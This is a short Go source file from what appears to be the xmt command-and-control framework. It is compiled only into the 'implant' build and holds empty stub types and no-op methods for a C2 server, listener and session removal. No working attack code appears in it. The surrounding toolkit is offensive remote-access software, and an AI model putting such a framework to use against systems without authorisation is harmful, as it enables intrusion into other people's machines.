github.com/iDigitalFlame/xmt@v0.5.4/c2/z_implant.go (about)

     1  //go:build implant
     2  // +build implant
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package c2
    21  
    22  import (
    23  	"github.com/iDigitalFlame/xmt/com"
    24  	"github.com/iDigitalFlame/xmt/device"
    25  )
    26  
    27  const maxEvents = 256
    28  
    29  // Server is the manager for all C2 Listener and Sessions connection and states.
    30  // This struct also manages all events and connection changes.
    31  type Server struct{}
    32  
    33  // Listener is a struct that is passed back when a C2 Listener is added to the
    34  // Server.
    35  //
    36  // The Listener struct allows for controlling the Listener and setting callback
    37  // functions to be used when a client connects, registers or disconnects.
    38  type Listener struct{}
    39  
    40  func (*Listener) oneshot(_ *com.Packet) {}
    41  
    42  // Remove removes and closes the Session and releases all it's associated
    43  // resources from this server instance.
    44  //
    45  // If shutdown is false, this does not close the Session on the client's end and
    46  // will just remove the entry, but can be re-added and if the client connects
    47  // again.
    48  //
    49  // If shutdown is true, this will trigger a Shutdown packet to be sent to close
    50  // down the client and will wait until the client acknowledges the shutdown
    51  // request before removing.
    52  func (*Server) Remove(_ device.ID, _ bool) {}